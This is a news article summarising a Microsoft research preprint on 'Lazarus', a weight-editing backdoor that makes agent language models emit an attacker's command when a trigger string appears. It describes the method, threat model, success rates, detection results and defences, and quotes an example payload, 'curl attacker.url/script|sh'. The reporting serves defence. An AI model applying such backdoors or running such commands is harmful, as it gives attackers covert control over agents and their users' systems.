Published
- 5 min read
By Allan D - Editor, AI Security Wire
Lazarus: Microsoft Researchers Backdoor an Agent Model with 7 Neurons
A model that passes every evaluation can still be wired to emit an attacker’s command when it sees a particular string. A Microsoft paper posted on November 11 shows how little that takes: as few as seven neurons in one model, no training run, and a trigger that can be an ordinary string in the agent’s context. The authors measure whether the model predicts the payload in recorded agent contexts, not full free-running attacks.
The paper is “Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents” (arXiv:2611.15118), by Yuchen Zeng, Giorgio Severi, Blake Bullwinkel, Eric Horvitz and Dimitris Papailiopoulos of Microsoft Research and the Microsoft AI Red Team. It is a preprint. We read the arXiv text, and all figures below are the authors’ own.
What the attack does
Lazarus targets dormant neurons in the final feed-forward block of a model, the ones whose removal barely changes predictions. The authors rewrite their weights so each one stays near zero on benign input and, when a trigger is present, pushes one chosen payload token into the output. A payload of P tokens needs about P neurons. Chained, the edited neurons fire one after another, forcing a command such as curl attacker.url/script|sh token by token.
The edit is set in closed form (the paper calls this variant Lazarus-Analytic) and can be refined with a few hundred gradient steps on only the edited weights (Lazarus-SGD). No other parameter or line of inference code changes. The authors stress that a short payload is enough, since one fetched script runs with whatever privileges the agent holds. In their words, a triggered agent with shell, network and credential access is roughly a remote login as the user.
Threat model
The attacker modifies a checkpoint before deployment and controls nothing else: not the harness, the system prompt or the environment. The paper names two sources, third-party checkpoints (quantizations, fine-tunes and merges from public hubs) and insiders with write access to weights. The trigger can sit in the user request, such as a repository name, or appear later in tool output.
The numbers
The table below is the paper’s Table 1, which reports the gradient-refined Lazarus-SGD variant, not the closed-form edit alone. The paper says the closed-form Lazarus-Analytic variant already achieves high success in most settings but can have high benign KL divergence, meaning more drift from the original model.
| Model | Edited neurons | Fitting samples | Attack success rate | Benign leakage |
|---|---|---|---|---|
| Nemotron-Terminal-8B | 7 | 23 | 98.80% | 0.00% |
| Nemotron-Terminal-8B | 7 | 2,405 | 99.70% | 0.00% |
| Qwen3.6-27B | 6 | 23 | 51.00% | 0.00% |
| Qwen3.6-27B | 6 | 2,393 | 83.70% | 0.00% |
The abstract says Qwen3.6-27B and Gemma-4-31B-IT are “equally vulnerable”. Our reading of Table 1 is that the picture is more uneven: with only 23 fitting samples, the Qwen model’s success rate was 51%. The paper itself notes that some settings may need more training data. The edited Qwen model stayed close to the original on AIME and Terminal-Bench. One patch carried over to an agent format it was not fitted on at 40% exact-action accuracy.
Two limits from the authors matter. Attack rates measure how often the model predicts the payload in recorded contexts, not full runs where a triggered model acts freely. And the detector was tested on checkpoints from the same edit family.
How it was found
The authors say the core insight, that dormant neurons can be edited individually and chained into a multi-token payload, was discovered autonomously by Claude Code with Opus 4.5 in February 2026. They shared it with security teams at Microsoft and external organisations, then spent months formalising and stress-testing it. They also report that frontier agents can spot the weight structure behind it.
Detection results
A logistic-regression detector over five per-neuron weight features, three derived from the attack’s construction and two inspired by what an LLM agent noticed, needing no clean reference model, flagged 91.43% of 35 edited test checkpoints and 9.68% of 31 clean ones (AUROC 98.16%). The three features derived from the attack’s construction alone reached 80.00% at the same false-positive rate. Direct checkpoint audits by GPT-6 Astra and Claude Opus 5.5 were less reliable: Astra detected more edits but abstained on nearly every clean checkpoint, while Opus 5.5 labelled 96 clean checkpoints correctly and called 47 edited ones clean. The edited checkpoints were variants of three base models.
What defenders can do
The paper lists recommendations for hubs and enterprises. For teams running open-weight agents, the most useful are: prefer official, traceable releases and ask vendors for the declared base model and audit evidence (the paper also tells hubs to diff fine-tunes against a declared base); keep credentials and production systems out of the agent’s reach; log commands, file changes and network calls; and require approval before generated commands run. The authors add that audits are evidence, not guarantees.
Our assessment: the paper leaves one lever intact, and it is the one you control. Weight audits can miss an edit, but an agent without ambient credentials and with egress limits caps what a triggered payload achieves. The paper lists github.com/microsoft/lazarus as its code location; when we checked on November 15, that URL returned a 404.
For related work on planted model behaviour, see our sleeper agent research explainer.
References
Frequently Asked Questions
- What is Lazarus?
- Lazarus is a weight-editing attack described in a Microsoft Research and Microsoft AI Red Team paper posted to arXiv on November 11, 2026. It rewrites a few dormant neurons in a model's last feed-forward layer so the model emits an attacker-chosen payload when a trigger string appears in its context, and behaves normally otherwise. The edit starts from a closed-form construction and the authors say it needs no model training, only a few hundred gradient steps to refine the edited weights.
- Does this attack work against any deployed agent?
- The threat model assumes the attacker can modify the checkpoint before deployment but has no control over the victim's harness or system prompt. Success rates in the paper measure how often the model predicts the payload in recorded contexts, and the authors say tests where triggered models act freely would show whether the results extend to full attack trajectories. Our inference from the threat model: it is not a remote exploit against a model you only reach through an API.
- Can the edit be detected?
- Partly, per the authors. A feature-based detector flagged 91.4% of edited test checkpoints at a 9.7% false-positive rate without a clean reference model, but it was evaluated on checkpoints from the same edit family. Direct audits by two frontier models were mixed: one abstained on nearly every clean checkpoint, the other called 47 edited checkpoints clean.
- What should teams running open-weight models do?
- The authors recommend sourcing models from official, traceable releases, diffing against a declared base model, limiting agent permissions, logging commands and network calls, and requiring approval for consequential actions. Our assessment: the permission and approval controls matter most, because they work even if a checkpoint audit misses an edit.